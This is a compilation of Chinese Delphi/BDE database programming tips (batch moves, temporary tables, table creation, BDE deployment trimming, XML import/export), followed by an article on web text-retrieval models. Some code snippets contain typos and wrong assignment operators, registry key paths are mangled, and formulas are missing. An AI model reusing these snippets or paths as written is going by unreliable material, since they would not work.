在数据库应用系统中，常常要对数据进行成批的如追加、删除、更改等操作，这种批量操作在专门的数据库开发工具如VFP中用APPEND、COPY命令带上相应的命令子句就能轻易完成。但在其它开发工具中并没有类似的命令，而是提供能完成类似功能的控件或对象，如在PowerBuilder中就是利用PipeLine（数据管道）来完成两个或同构或不同构的表之间的数据批处理。本文要介绍的是Delphi中用来完成数据批处理任务的组件TBatchMove。TBatchMove组件能够：

（1）将一个数据集中的数据追加到一个表中。.

（2）从一个表中删除满足条件的记录。

（3）按旧表结构生成一个新表，若欲生成的新表已存在，则覆盖。

具体的操作要通过设置TBatchMove的Mode属性后再调用Execute方法来完成。为举例说明问题，我们在别名数据库DBDEMOS中先创建两个dBase格式的表Test1.dbf和Test2.dbf。二者的结构如下表：

Test1.dbfTest2.dbf

NameC10NameC10

CodeC3CodeC3

其中表Test2.dbf在字段code上建立有唯一索引。同时假设表单中已有两个TABLE控件Tsource和Tdest和一个TbatchMove组件batchmove1。Tsource和Tdest的DatabaseName属性均设为DBDEMOS。batchmove1的source属性设为Tsource，destination属性设为Tdest。

在使用TbatchMove组件时，必须牢记：所有的操作都是以源表为标准针对目的表进行的，下面就分别举例说明TbatchMove的各种操作模式：

（1）batAppend追加模式将源表中的数据追加到目的表中，目的表必须事先存在。这是缺省模式。

batchmove1.source=Tsource;

batchmove1.destination=Tdest2;

batchmove1.Mode:=batAppend;

batchmove1.Execute;

（2）batUpdate更新模式用源表中匹配目的表的记录替换目的表中的相应记录。目的表必须事先存在且有一已定义的索引用来匹配源表中的记录。

Tdest.IndexFieldNames:='code';

batchmove1.source=Tsource;

batchmove1.destination=Tdest;

batchmove1.Mode:=batUpdate;

batchmove1.Execute;

（3）batAppendUpdate追加更新模式如果源表中有与目的表匹配的记录，则替换目的表记录，否则，直接追加到目的表中。目的表必须事先存在且有一已定义的索引用来匹配源表中的记录。

Tdest.IndexFieldNames:='code';

batchmove1.source=Tsource;

batchmove1.destination=Tdest;

batchmove1.Mode:=batAppendUpdate;

batchmove1.Execute;

（4）batCopy拷贝模式按源表结构生成新表，源表中的数据同时拷贝到目的新表中。如果要生成的新表已存在，则覆盖。

//按Test1.dbf生成新表xxx.dbf

//如果不指定扩展名dbf，生成的新表将是Paradox格式的xxx.db。

Tdest.TableName:='xxx.dbf';

batchmove1.source=Tsource;

batchmove1.destination=Tdest;

batchmove1.Mode:=batCopy;

batchmove1.Execute;

（5）batDelete删除模式删除目的表中与源表匹配的记录。目的表必须事先存在且有一已定义的索引用来匹配源表中的记录。

Tdest.IndexFieldNames:='code';

batchmove1.source=Tsource;

batchmove1.destination=Tdest;

batchmove1.Mode:=batDelete;

batchmove1.Execute;

TBatchMove还有一个重要属性ChangedTableName，在实际运用中，通过指定ChangedTableName属性可以创建一个Paradox表，该表用来保存目的表中被更改数据的原始备份，有了这个备份表就可以确保恢复目的表中的数据。

顺便提一句，如果要删除某一个表中的全部记录，可以采用Table组件的EmptyTable方法，例如Tdest.EmptyTable将清空Tdest所指定的表test2.dbf。

本文中是以同构的dbf表进行的示例，在实际运用中，源表和目的表可能同购，也可能异构，异构时，Delphi的BDE会自动进行类型和长度上的转换，具体类型间的关系可以有关BDE的帮助。本文中各种操作模式的实际结果均可以从Delphi的DatabaseDesktop中查看到。


Invalid Blob handle in record buffer
有哪为大侠知道Invalid Blob handle in record buffer 是什么意思，我每次在delphi5中浏览db2备注型字段的内容都遇到这个令人生厌的提示信息，并且无法浏览备注字段内容，望各位大侠搭救。

你的Blob size必须设置成2的整数倍，如32,64,1024等等，另外blob cache最好设置成blob size的两倍，这样就不会出现上述错误了。


建立临时表的方法
数据输入是开发数据库程序的必然环节。在Client/Server结构中，客户端可能要输入一批数据后，再向服务器的后台数据库提交，这就需要在本地(客户端)建立临时数据表来存储用户输入的数据，待提交后，清除本地数据表。这种方法的好处是：提高输入效率，减小网络负担。

    由于用户一次输入的数据量一般情况下较小(不会超过几百条记录)，所以临时表可以建立在内存中，这样处理速度较快。临时表创建有如下两种方法：

  1.使用查询控件创建临时表

    第1步：在窗体上放入查询控件(TQuery)，并设置好所连接的数据表。

    第2步：添加如下语句：

    TQuery. CachedUpdates=True;

    TQuery. RequestLive=True。

  第3步：在原有的SQL语句后加入一条Where子语句，要求加入这条Where子语句后SQL查询结果为空。

    例如：

    SELECT Biolife."Species No", Category, Common_Name, Biolife."Species Name", Biolife."Length (cm)", Length_In, Notes, Graphic

    FROM "biolife.db" Biolife

    where Biolife.Category=′A′ and Biolife.Category=′B′

    这样临时表就建立好了。

    2.使用代码创建临时表

    函数代码如下：

    function CreateTableInMemory(const AFieldDefs:TFieldDefs):

    TDataSet;

    var TempTable:TClientDataSet;

    begin

    TempTable:=nil;

    Result:=nil;

    if AFieldDefs〈〉nil then

    begin

    try

    TempTable:=TClientDataSet.Create(Application);

    TempTable.FieldDefs.Assign(AFieldDefs);

    TempTable.CreateDataSet;

    Result:=(TempTable as TDataSet);

    Except

    if TempTable〈〉nil then TempTable.Free;

    Result:=nil;

    raise;

    end

    end

    end;

    在程序中按如下方法调用：

    procedure TForm1.Button1Click(Sender: TObject);

    var ADataSet:TDataSet;

    begin

    ADataSet:=TDataSet.Create(Self);

    with ADataSet.FieldDefs do

    begin

    Add(′Name′,ftString,30,False);

    Add(′Value′,ftInteger,0,False);

    end;

    with DataSource1 do

    begin

    DataSet:=CreateTableInMemory(ADataSet.FieldDefs);

    DataSet.Open;

    end;

    ADataSet.Free;

    end;

    这样，临时表就创建完成。

    方法1使用简单，但由于利用了查询控件，清空数据时需要查询服务器后台数据库，所以速度稍慢，而且不适用于临时表中各个字段由几个数据表的字段拼凑而成的情况。方法2适用范围广、速度快，但需要编写代码。


动态创建一个Table表格
VCL中有一个CreateTable()方法，调用它就可以创建一个数据库表。操作步骤如下：

1) 创建一个T Ta b l e 实例。

2) 将其D a t a b a s e N a m e 属性设为一个目录或已有的数据库别名。

3) 通过Ta b l e N a m e 属性来指定数据库表的名称，要求是唯一的。

4) 设置TableType 属性以指明要创建的数据库表类型。如果此属性设为ttDefault,表示数据库表的类型

对应于TableName 属性中给出的扩展名。例如，.DB 后缀表示是Paradox 表，.DBF 后缀表示是dBASE 表。

5) 调用T Ta b l e . F i e l d D e f s 对象的A d d ( )方法，向数据库表中添加字段，A d d ( )方法有4 个参数：

· 一个字符串类型的参数，用于指定字段名称。

· 一个T F i e l d Ty p e 类型的参数，用于指定字段类型。

· 一个Wo r d 类型的参数，用于指定字段的尺寸。要注意，此参数只对S t r i n g 类型和M e m o 类型的字

段适用，而整型、时期等类型字段的大小通常是固定的，所以不需要定义指定字段的尺寸。

· 一个布尔型的参数，用于表明字段的值是否必须非空。对于强制非空的字段来说，在把记录提

交到数据库表中时，都必须有值。

6) 如果要为数据库表建立一个索引，则需要调用Ta b l e . I n d e x D e f s 对象的A d d ( )方法来定义索引字

段。I n d e x D e f s . A d d ( )方法需要传递以下三个参数：

· 一个字符串类型的参数，用于指定索引的名称。

· 一个字符串类型的参数，用于指定索引字段的名称。如果是复合索引，可以用分号把多个字段

隔开。

· 一个T I n d e x O p t i o n s 类型的参数，用于指定索引类型。

7) 调用T Ta b l e 的C r e a t e Ta b l e ( )。

下面的代码创建了一个包含整数、字符串、浮点数类型的字段的数据库表，同时有一个基于整数

字段的索引。该数据库表的名称为F O O . D B ，位于C ： T E M P 目录下。

with TTable.Create(seft) do

begin

DatabaseName:='c:';

TableName:='FOO';

TableType:=ttParadox;

with Fieldefs do

begin

Add('Age',ftInteger,0,True);

Add('Name',ftString,25,False);

Add('Weight',ftFloat,0,False);

end;

IndexDefs.Add('','Age',[ixPrimary,ixUnique]);

CreateTable;

end;

T Ta b l e . C r e a t e ( )仅适用于本地表。对于S Q L 表，要使用T Q u e r y 组件


数据库中出现了两条相同的记录
我的程序中对Table使用了缓存更新的方法，类似的代码如下：

table1.cacheupdates:=true;

当我使用Table1.applyupdates语句保存记录时，数据库中出现了两条相同的记录，

请问如何解决，望不吝赐教，不胜感激。

如果没有给TAble.indexfieldname指定索引，会出现这种情况。


Table的ADD方法的一个问题
Q: I use the help file example for the ADD method and I get an error message "comma expected". Why?

A: The ADD method requires an undocumented fourth parameter. (OOPS!) It says whether the field is required. (true = required)

Here is the working code for that example:

var

t: tTable;

begin

t := tTable.create(self);

with t do

begin

Active := False;

DatabaseName := 'lwl';

TableName := 'hoser';

TableType := ttParadox;

with FieldDefs do

begin

Clear;

Add('Field1', ftInteger, 0, false);

Add('Field2', ftInteger, 0, false);

end;

with IndexDefs do

begin

Clear;

Add('Field1Index', 'Field1', [ixPrimary, ixUnique]);

end;

CreateTable;

end;

end;


没有索引的Table如何查找记录？
很简单，自己从头至尾搜索一遍就可以了！虽然效率低了一点儿，也没有办法了！不过可以做一个通用的过程，以后就只要调用就可以了！！！：）

///调用方法：Locate(Table1, Table1LName, 'Test');

///Table1就是需要查找的表了，Table1Name就是需要查找的字段，'Test'就是需要查找的值了。

Function Locate( const oTable: TTable; const oField: TField;

const sValue: String): Boolean;

var

bmPos : TBookMark;

bFound : Boolean;

begin

Locate := False;

bFound := False;

If not oTable.Active then Exit;

If oTable.FieldDefs.IndexOf( oField.FieldName ) < 0 then Exit;

bmPos := oTable.GetBookMark;

With oTable do

begin

DisableControls;

First;

While not EOF do

if oField.AsString = sValue then

begin

Locate := True;

bFound := True;

Break;

end

else Next;

end ;

If (Not bFound) then oTable.GotoBookMark( bmPos);

oTable.FreeBookMark( bmPos );

oTable.EnableControls;

end;


如何强制刷新数据到磁盘
如何刷新一个Table里面的数据到磁盘上面去？

请参考下面的代码：

Table1.UpdateCursorPos;

Check(dbiSaveChanges(Table1.Handle));

Table1.CursorPosChanged;


如何打开一个没有MDX索引的DBF文件
实际上，在DBF文件的第28个字节表明了DBF文件是否有索引文件，因此，只要把DBF文件的第28个字节修改一下即可。

procedure TForm1.Button1Click(Sender: TObject);

var

f: file of byte;

b: byte;

begin

if OpenDialog1.execute then

begin

assignFile(f, OpenDialog1.FileName);

reset(f);

seek(f, 28);

b := RadioGroup1.ItemIndex; {0 = no MDX; 1 = use MDX}

write(f, b);

closefile(f);

end;

OpenDialog1.FileName := '*.dbf'; {reset the filter}

end;


引用一个含有空格的字段名
有一个字段，字段名中含有空格，那么如何使用这个字段呢？

类似下面：

select * from MyTable

where MyTable."field with spaces" = 123


Install Shield制作安装程序
关键所在

用Delphi编写的数据库程序在发布时需要同时发布BDE（Borland Database Engine），但BDE占用空间较大（不同版本大小不一，最新的Delphi5有17M多），远比一般的程序本身要大。但实际上，有些文件用不上的，所以我们可以在发布时用Delphi附带的InstallShield制作安装程序来定制BDE驱动，这样可以精简我们的数据库应用程序。

实现与应用

参考Bde32.HLP中"Introduction to Borland Database Engine"下的"Core BDE Files"，可以得知BDE的关键文件及其作用，可以以此作为依据来精简BDE驱动程序。下面是各个文件的作用：

一、不可缺少的文件

Blw32.dll：语言驱动函数库。

Idapi32.dll：BDE基本函数库。

Fareast.btl、Usa.btl：远东语言及美国语言驱动程序，对中文软件不可缺少。

Idr20009.dll：错误信息库。

二、数据库驱动程序（根据需要选择一个或多个）

Idasci32.dll：Ascii文本数据库驱动程序函数库，如果不用Ascii文本数据库，可以不要。

Iddao32.dll：Access数据库驱动程序函数库，如果不用Access数据库，可以不要。

Iddbas32.dll：dBase数据库驱动程序函数库，如果不用dBase数据库，可以不要。

Idodbc32.dll：ODBC数据库驱动程序函数库，如果不用ODBC数据库，可以不要。

Idpdx32.dll：Paradox数据库驱动程序函数库，如果不用Paradox数据库，可以不要。

三、其它驱动程序和配置文件（根据需要选择一个或多个）

Idbat32.dll：批操作驱动程序函数库，如果不用TBatchMove控件或DbiBatchMove类函数，可以不要。

Iddr32.dll：Data Repository驱动程序函数库，如果不用Data Repository功能，可以不要。

Idprov32.dll：BDE DataSet provider驱动程序函数库，如果不用TProvider控件，可以不要。

Idqbe32.dll：QBE驱动程序函数库，如果不用Query By Example，可以不要。

Idsql32.dll：SQL查询驱动程序函数库，如果不用TQuery进行查询，可以不要。

Idapi32.cfg：BDE配置文件，如果程序中没有特殊要求，可以不要。也可以在BDE管理器中设置正确后再分发。

四、其它文件（一般不用）

其它的*.BTL：其它国家和地区的语言驱动程序，可以不要。

BDE32.HLP、BDE32.CNT：BDE帮助文件，可以不要。

BdeAdmin.exe、BdeAdmin.HLP、BdeAdmin.CNT：BDE管理器及帮助文件，如果不会发生要求软件用户自己配置BDE的情况时，可以不要。

DataBump.EXE、DataBump.HLP、DataBump.CNT：数据库数据转移工具及帮助文件，可以不要。

Localsql.HLP、Localsql.CNT：SQL查询语句帮助文件，可以不要。

Sqllnk32.HLP、Sqllnk32.CNT：SQL连接帮助文件，可以不要。

在根据需要选择文件后，还要写注册表文件。可以手工设置，但最好在程序中设置，需要设置的注册表键值有（在调用数据库操作前需要有正确的键值存在，各对应键值在Win9x/NT/Win2000下均相同）：

数据驱动程序所在目录的设置：

HKEY_LOCAL_MACHINEEngine（字符串值）

语言驱动程序所在目录的设置：

HKEY_LOCAL_MACHINE（字符串值）

语言驱动程序文件名：

HKEY_LOCAL_MACHINE Software_LIB#（字符串值） 　其中#为编号，按顺序为0、1、2、3......如：

HKEY_LOCAL_MACHINE_LIB0="fareasst.btl" 　HKEY_LOCAL_MACHINE_LIB1="usa.btl"

做完这些就足够了，按此办法即可有效减少BDE驱动程序的大小，例如只用TTable控件操作Paradox数据库，则只要Idapi32.dll、Blw32.dll、Idr20009.dll、Fareast.btl、Usa.btl、Idpdx32.dll六个文件即可。这些文件可放在任何一个目录，只要在注册表指明即可。BDE由17.4M减到1.48M，压缩一下就只有几百K了，这使程序大为减小。

下面我们就以用InstallShield来制作一个Paradox数据库应用系统的安装程序为例：

1.启动程序设置有关文件目录路径，进入Setup Checklist；

2.在Set the Visual Design中设置程序名、程序目录、安装程序主窗口等；

3.在Specify Components and Files中设置Groups and Files项，在Program Files中加入用户的所有程序文件和数据库表文件，以及下列文件：Idbat32.dll、Usa.btl、Idapi.cfg、Charset.cvb、Bantam.dll、BLW32.dll、Idapi32.dll、Fareast.btl、Idpdx32.dll、Idr20009.dll、Idsql32.dll（以上文件必须含目录路径）；

4.在Dialog Boxes中设置所需安装对话框；

5.在Make Registry Changes中设置Keys项，在HKEY_LOCAL_MACHINE中加入software和softwareengine两项，并且在blw32值中加入

"Blapipath '以上文件目录'"、"LOCALE_LIB0 '以上文件目录'.bll"和"LOCALE_LIB1 '以上文件目录'.bll"，在database engine值中加入"Dllpath '以上文件目录'"、"Configfile01 '以上文件目录'.cfg"；

6.在Specify Folder and Icons中根据实际要求设置有关项目；

7.在Run Disk Builder中设置安装盘的有关信息；

8.最后进行Test the Installation和Create Distribution Media即可完成安装程序的制作。


XML 与数据库表的转换
XML 与数据库表的转换

原著: Sreekumar S

公司: Icode s/w Pvt. Ltd.,Bangalore 参考资料: N/A

问题提出/摘要:

本文将解释如何通过从Paradox表中读取数据生成XML文件，并且将相同的数据插回源表中。不过它还不能工作在memo字段上。我使用MS XML解析器来解析XML文档。因此你的系统须是IE 5.0或以上版本。

回答:

生成XML文件。

我使用下面的转换方法：

I . XML文件的根名与表名相同(本例就是country)。

II. 每条来自于表的记录由<record></record>标记区分。

III. 每个来自于表的数据由其字段名标记加以区分。

- <country>

- <Records>

<Name>Argentina</Name>

<Capital>Buenos Aires</Capital>

<Continent>South America</Continent>

<Area>2777815</Area>

<Population>32300003</Population>

</Records>

.

.

.

</country>

建立一个新的应用程序。放置一个Button和Table构件于主窗体上。设置表属性如下：

DatabaseName : DBDEMOS

Name : Table1

TableName : country (Remove the extention ".db")

Active : True

选择 Project/Import Type library。将会弹出 "Import Type Library" 对话框。从列表中选择 "Microsoft XML,Version

2.0(version 2.0)" 然后点击 "Create Unit" 按钮。将会有一个 MSXML_TLB 单元加入你的工程.请将 MSXML_TLB 加入你要引用的单元的接口部分。然后在变量部分声明如下变量：

DataList : TStringlist;

doc : IXMLDOMDocument;

root,child,child1 : IXMLDomElement;

text1,text2 : IXMLDOMText;

nlist : IXMLDOMNodelist;

dataRecord : String;

添加makeXml函数到你的单元。它将通过读取DBDEMOS中contry表中的数据生成一个XML文件。

function TForm1.makeXml(table:TTable):Integer;

var

i : Integer;

xml,temp : String;

begin

try

table.close;

table.open;

xml := table.TableName;

doc := CreateOleObject('Microsoft.XMLDOM') as IXMLDomDocument;

//Set the root name of the xml file as that of the table name.

//In this case "country"

root := doc.createElement(xml);

doc.appendchild(root);

//This while loop will go through the entaire table to generate the xml file

while not table.eof do

begin

//adds the first level children , Records

child:= doc.createElement('Records');

root.appendchild(child);

for i:=0 to table.FieldCount-1 do

begin

//adds second level children

child1:=doc.createElement(table.Fields[i].FieldName);

child.appendchild(child1);

//Check field types

case TFieldType(Ord(table.Fields[i].DataType)) of

ftString:

begin

if Table.Fields[i].AsString ='' then

temp :='null' //Put a default string

else

temp := table.Fields[i].AsString;

end;

ftInteger, ftWord, ftSmallint:

begin

if Table.Fields[i].AsInteger > 0 then

temp := IntToStr(table.Fields[i].AsInteger)

else

temp := '0';

end;

ftFloat, ftCurrency, ftBCD:

begin

if table.Fields[i].AsFloat > 0 then

temp := FloatToStr(table.Fields[i].AsFloat)

else

temp := '0';

end;

ftBoolean:

begin

if table.Fields[i].Value then

temp:= 'True'

else

temp:= 'False';

end;

ftDate:

begin

if (not table.Fields[i].IsNull) or

(Length(Trim(table.Fields[i].AsString)) > 0) then

temp := FormatDateTime('MM/DD/YYYY',

table.Fields[i].AsDateTime)

else

temp:= '01/01/2000'; //put a valid default date

end;

ftDateTime:

begin

if (not table.Fields[i].IsNull) or

(Length(Trim(table.Fields[i].AsString)) > 0) then

temp := FormatDateTime('MM/DD/YYYY hh:nn:ss',

Table.Fields[i].AsDateTime)

else

temp := '01/01/2000 00:00:00'; //Put a valid default date and time

end;

ftTime:

begin

if (not table.Fields[i].IsNull) or

(Length(Trim(table.Fields[i].AsString)) > 0) then

temp := FormatDateTime('hh:nn:ss',

table.Fields[i].AsDateTime)

else

temp := '00:00:00'; //Put a valid default time

end;

end;

//

child1.appendChild(doc.createTextNode(temp));

end;

table.Next;

end;

doc.save(xml+'.xml');

memo1.lines.Append(doc.xml);

Result:=1;

except

on e:Exception do

Result:=-1;

end;

end;

在Button1的onclick事件中调用上面的函数

procedure TForm1.Button1Click(Sender: TObject);

begin

if makeXml(table1)=1 then

showmessage('XML Generated')

else

showmessage('Error while generating XML File');

end;

如果你用IE 5.0(或以上版本)打开生成的country.xml文件，它看起来会成下面的样子

- <country>

- <Records>

<Name>Argentina</Name>

<Capital>Buenos Aires</Capital>

<Continent>South America</Continent>

<Area>2777815</Area>

<Population>32300003</Population>

</Records>

- <Records>

<Name>Bolivia</Name>

<Capital>La Paz</Capital>

<Continent>South America</Continent>

<Area>1098575</Area>

<Population>7300000</Population>

</Records>

.

.

.

- <Records>

<Name>Venezuela</Name>

<Capital>Caracas</Capital>

<Continent>South America</Continent>

<Area>912047</Area>

<Population>19700000</Population>

</Records>

</country>

插入数据

你已经将country表中存在的数据生成了XML文件。因此在这个XML文件中的数据就与country表中是一样的。如果你想将XML文件中的数据插入进country表中又不想删除原来存在的数据的话，将会有主键冲突的错误出现。因此必须先将country表中已经存在的数据删除掉。

添加另一个按钮和一个memo构件于主窗体。在button2的onclick事件中添加如下代码.memo用来显示数据插入中的状态（成功/失败）。

procedure TForm1.Button2Click(Sender: TObject);

var

i,ret_val,count:Integer;

strData:String;

begin

//Before inserting data in to the country table,make sure that the data in

//the generated xml file(country.xml) and country table(DBDEMOS) are

//different.

try

count:=1;

DataList:=TStringList.Create;

memo1.Clear;

doc := CreateOleObject('Microsoft.XMLDOM') as IXMLDomDocument;

//Load country.xml file

doc.load('country.xml');

nlist:=doc.getElementsByTagName('Records');

memo1.lines.append('Table Name :country');

memo1.lines.append('---------------------');

for i:=0 to nlist.Get_length-1 do

begin

travelChildren(nlist.Get_item(i).Get_childNodes);

//Removes the first character(,) from dataRecord

strData:=copy(dataRecord,2,length(dataRecord));

memo1.lines.append(strData);

dataRecord:='';

ret_val:=insertintotable(Datalist);

if ret_val=1 then

memo1.lines.append('Data inserted successfully.............!')

else if ret_val=-1 then

memo1.lines.append('Error while updating.....Try again.....!');

memo1.lines.append('============================================='

+'==(Record no. :'+inttostr(count)+')');

DataList.Clear;

count:=count+1;

end;

except

on e:Exception do

Showmessage(e.message);

end;

end;

nlist(refer above program) contains a list of nodes.In our case the first node list is...

<Records>

<Name>Argentina</Name>

<Capital>Buenos Aires</Capital>

<Continent>South America</Continent>

<Area>2777815</Area>

<Population>32300003</Population>

</Records>

我们传送此节点列表给一个递归函数，travelchildren。它将递归地沿着节点列表查找文本数据，并将此数据加入TStringList(Datalist)变量中。当完成第一轮后，Datalist中将会包含字符串 Argentina,Buenos Aires,South America,2777815,32300003.最后我们将此stringlist传送给函数 insertintotable，它将完成将一条记录插入 country 表的工作。重复此过程即可完成整个XML文件数据的插入工作。

procedure TForm1.travelChildren(nlist1:IXMLDOMNodeList);

var

j:Integer;

temp:String;

begin

for j:=0 to nlist1.Get_length-1 do

begin

//node type 1 means an entity and node type 5 means EntityRef

if((nlist1.Get_item(j).Get_nodeType= 1) or (nlist1.Get_item(j).Get_nodeType=5)) then

travelChildren(nlist1.Get_item(j).Get_childNodes)

//node Type 3 means a text node,ie you find the data

else if(nlist1.Get_item(j).Get_nodeType=3) then

begin

temp:= trim(nlist1.Get_item(j).Get_nodeValue);

dataRecord:=dataRecord+','+temp; //this is for displaying a single record on the memo

DataList.Add(temp); //Datalist will contain one record after completing one full travel through the node list

end

end;

end;

function TForm1.insertintotable(stpt:TStringList):Integer;

var

i:Integer;

begin

table1.close;

table1.open;

table1.Insert;

for i := 0 to stpt.Count - 1 do

begin

table1.Fields[i].AsVariant:= stpt[i];

end;

try

table1.post;

result:=1;

except

on E:Exception do

result:=-1;

end;

end;

结论:

你可以将此程序推广至任何数据库，由此数据可以通过XML文件在网络（即使是internet）中传输并在其实终端上更新数据库。我在生成XML文件中还未考虑特殊字符如 &,<,>,',''等等。你可以在生成带这些字符的XML文件时作适合自己需要的改变.


WWW上的信息发现与检索技术之二
第十四期(4月19日): 产品与技术

半年版名: 产品与技术

半年栏目: 专题报道

出版日期: 19990419

检索模型

--WWW上的信息发现与检索技术之二

南京大学软件新技术国家重点实验室 邹涛

文档的索引与检索模型是WWW索引与检索系统的核心,检索模型的优劣直接影响到系

统的效果。文本信息检索模型主要分为两大类:全文检索和基于内容的文本检索。

全文检索模型

全文检索(Full Text Retrieval)是指以文档的全部文本信息作为检索对象的一种信

息检索技术。全文检索的关键是文档的索引,即如何将源文档中所有基本元素的信息以适

当的形式记录到索引库中。在中文文档中,"基本元素"可以是单个汉字,也可以是词或词

组。根据索引库中索引的元素不同,可以将全文检索分为基于字表的全文检索和基于词表

的全文检索两种类型。

1. 字表法

字表法是对每个单字的出现位置进行索引,并依据单字的位置信息进行检索的文本检

索方法。字表法索引库的主要部分是每个字的字表信息,索引库中的字表结构如图1所示

。其中字符i对应的字表记录了该字符在源文档中所出现的位置Pix,出现位置通常用字符

相对于文档头的偏移字节数表示。建立字表索引时,需要扫描整个源文档,对出现的每一

个有效字符,计算其在文档中出现的位置,并将该位置的值加入到对应的字表中。

字表记录了对应字符在源文档中的所有位置信息。考察一个字符串,例如两个字的字

符串XY(其中X、Y表示任意的汉字字符),假设X的位置为Px,如果字符串XY在源文档中出现

,则Y的位置Py必定等于Px+2(2为两个汉字间的字节距离)。在索引库中,X的字表中将包含

Px,而Y的字表中也必然包含Px+2。进行检索时,扫描X和Y各自对应的字表,若文档中有该

词出现,则必定有X对应的字表中存在位置值Px,Y对应的字表中存在位置值Py,使得Py=Px

+2成立,每查到一对这样的位置值,就是检索到了字串XY一次。扫描完两字字表,就可以检

索出字符串的所有。

表1

2. 词表法

与字表法相似,词表法是以能表达一定意义的词为基本检索单位,并根据词的出现位

置进行索引和检索的文本检索方法。建立索引时,首先需要对源文档进行词条的切分,然

后对切分后的文档词条进行统计,记录每一个出现的词条及其出现的位置。

3. 字表法与词表法的比较

字表法和词表法各有优缺点,有各自适用的场合和处理的对象。字表法是以单字为基

础进行检索的方法,其缺点是生成的索引库庞大(索引文件的长度往往大于源文档的长度

,需要对索引库进行压缩处理),检索速度低,错检率高,例如检索"华人"一词时,往往会检

索出类似"中华人民共和国"这样的错误结果;其优点是适应性强,应用范围广,索引的生成

简单,比较适用于内容复杂、新词汇和特殊词汇多的文档的检索。

词表法是以词为基本元素进行索引与检索的,它需要对被索引文档进行词条切分,索

引的建立较复杂,漏检率较高,且不能进行单字和任意字符串的检索;其优点是对于大规模

应用,索引库规模小,检索的处理速度快,同义、反义等概念检索的实现较为简单,比较适

用于特定领域中或内容相对固定的文档的全文检索。

基于内容的文本检索技术

基于字表和基于词表的全文检索方法,不考虑文档的具体内容,而仅判断是否包含被

检索元素的检索方法。基于内容的检索是能够根据文档的内容处理类似"检索出属于多媒

体类且包含通信内容的文档"等涉及文档内容查询的检索技术,此种检索模型侧重于文档

的主要内容,而舍弃了局部的细节,生成的索引库较小(索引库长度通常为源文档的几十分

之一或几百分之一),检索速度快,较为接近人的查询习惯。其中使用较多的是布尔检索模

型、向量空间模型与概率模型。

1. 布尔模型

布尔模型是一种简单的严格匹配模型(Exact Match Model),它定义了一个二值变量

集合来表示文档,这些变量对应于文档中的特征项,一般是由训练文档集中的词条或短语

组成。如果词条对文档内容有贡献,则赋予True,否则置为False。检索时,根据用户提交

的检索条件在文档表示中的逻辑关系是否满足,将检索文档分为两个集合:匹配集和非匹

配集。因匹配结果的二值性,而无法在匹配结果集中进行查询结果的相关性排序。

布尔模型实现简单,检索速度快,在许多检索系统中得到应用,Yahoo!、搜狐等诸多著

名网络检索站点均采用了布尔检索模型。但布尔模型的文档表示能力差,无法区分特征项

对文档内容贡献的重要程度,并且逻辑表达式过于严格,往往会因为一个条件未满足而忽

略了其他全部特征,造成大量的漏检。

p范数模型是对布尔模型的扩展,它克服了简单布尔模型匹配函数过于严格而导致漏

检率高的致命缺陷。在p范数模型中,假设文档D可表示为D=(d1,d2,Λ,dn),用户查询可表

示为Q=(q1,q2,Λ,qn),其中di和qi分别表示第i个特征词条对文档内容和查询内容的贡献

程度,di、qi在[0,1]的区间上取值。定义文档与查询间的相似度:

算式1

其中1p∞。根据具体应用改变di、qi和p的取值即可达到不同的检索效果。当p

=∞,且di的取值为0或1,q1=q2=Λ=qn=1时,p范数模型则退化为简单布尔模型。在实际使

用中p的取值由实验得出,取值范围一般为[2,5]。

2. 向量空间模型

向量空间模型(VSM: Vector Space Model)是近年来使用较多且效果较好的一种信息

检索模型。在VSM中,将文档看作是由相互独立的词条组(T1,T2…Tn)构成,对于每一词条

Ti,都根据其在文档中的重要程度赋以一定的权值Wi,并将T1,T2…Tn看成一个n维坐标系

中的坐标轴,W1,W2…Wn为对应的坐标值。这样由(T1,T2…Tn)分解而得的正交词条矢量组

就构成了一个文档向量空间,文档则映射成为空间中的一个点。对于所有文档和用户查询

都可映射到此文本向量空间,用词条矢量(T1,W1,T2,W2…Tn,Wn)来表示,从而将文档信息

的匹配问题转化为向量空间中的矢量匹配问题。假设用户查询为Q,被检索文档为D,两者

的相似程度可用向量之间的夹角来度量,夹角越小,说明相似度越高,相似度计算公式如下

算式2

表示矢量中词条Ti及其权值Wi的选取被称为特征提取,特征提取是利用向量空间模型

进行信息检索的关键步骤。在自然语言文档中,各词条在不同内容的文档中所呈现的频率

分布是不同的,因此可根据词条的频率特性用统计的方法进行特征提取。在文档中,词条

的重要性与词条的文档内的频数成正比,与训练文档集中出现该词条的文档频数成反比,

因而可构造词条权值评价函数:

算式3

其中tfik表示词条Tk在文档Di中的出现频数,N表示用于特征提取的全部训练文本的

文档总数,nk表示词条Tk的文档频数。在实际应用中,为避免因文档长度引起的频数变化

,还应对词条权值评价函数作规范化处理:

算式4

3. 概率模型

布尔模型和向量空间模型都将文档表示词条视为是相互独立的项,忽略了表示词条间

的关联性,而概率模型则考虑到了词条、文档间的内在联系,利用词条间和词条与文档间

的概率相依性进行信息检索。

二值独立检索模型(BIR :Binary Independence Retrieval)是一种实现简单且效果

较好的概率检索模型。在BIR中,假设文档D和用户查询Q都可用二值词条向量(x1,x2,Λ,

xn)表示,如果词条Ti∈D,则xi=1,否则xi=0。利用Bayes公式并经过简化后可得到文档与

用户查询间的相关函数:

算式5

其中Pi=ri/r,qi=(fi-ri)/(f-r),f表示训练文档集中的文档总数,r表示训练文档集

中与用户查询相关的文档数,fi表示在训练文档集中包含词条Ti的文档数,ri表示r个相关

文档中包含词条Ti的文档数。

4. 概率推理网络

概率推理网络是近年被提出并深受重视的一种新型检索模型。推理网络模拟人脑的

推理思维模式,将文档内容与用户查询匹配的过程转化为一个从文档到查询的推理过程。

基本的文本检索推理网络包含文本网络与用户查询网络两部分,如图2所示。图中每个节

点表示一个文档、一个查询或者一个概念,其中Di为文本节点,Ti为文本表示节点,Ri为文

本概念节点,Ci为用户提问概念节点,Q为用户查询节点,有向边表示节点间的概率相依性

。网络中文档节点与查询节点间的相关性可以表示为:只要给定文档节点的先验概率和中

间节点的条件概率,就可计算出查询节点的后验概率。如要估算用户查询Q与文档Di间的

概率相关性P(R|Q,Di),则应先将文档节点Di置为True,然后依次计算P(Q=True)的相依节

点的概率即可。

推理网络同其他概率模型相比有很多优点,推理网络能够将其他许多概率模型映射到

网络中,并能够采用多种检索形式和由其他知识源得到的统计数据或经验数据,进行综合

检索。

图1

信息检索评价

一般用查全率(Recall)和精度(Precision)来衡量文档表示和检索的效果。查全率为

检索出的相关文档数与实际相关文档数之比,查询精度为检索结果集中的相关文档数与结

果集文档数之比。一个优秀的索引、检索系统应同时拥有较高的查全率和查询精度。


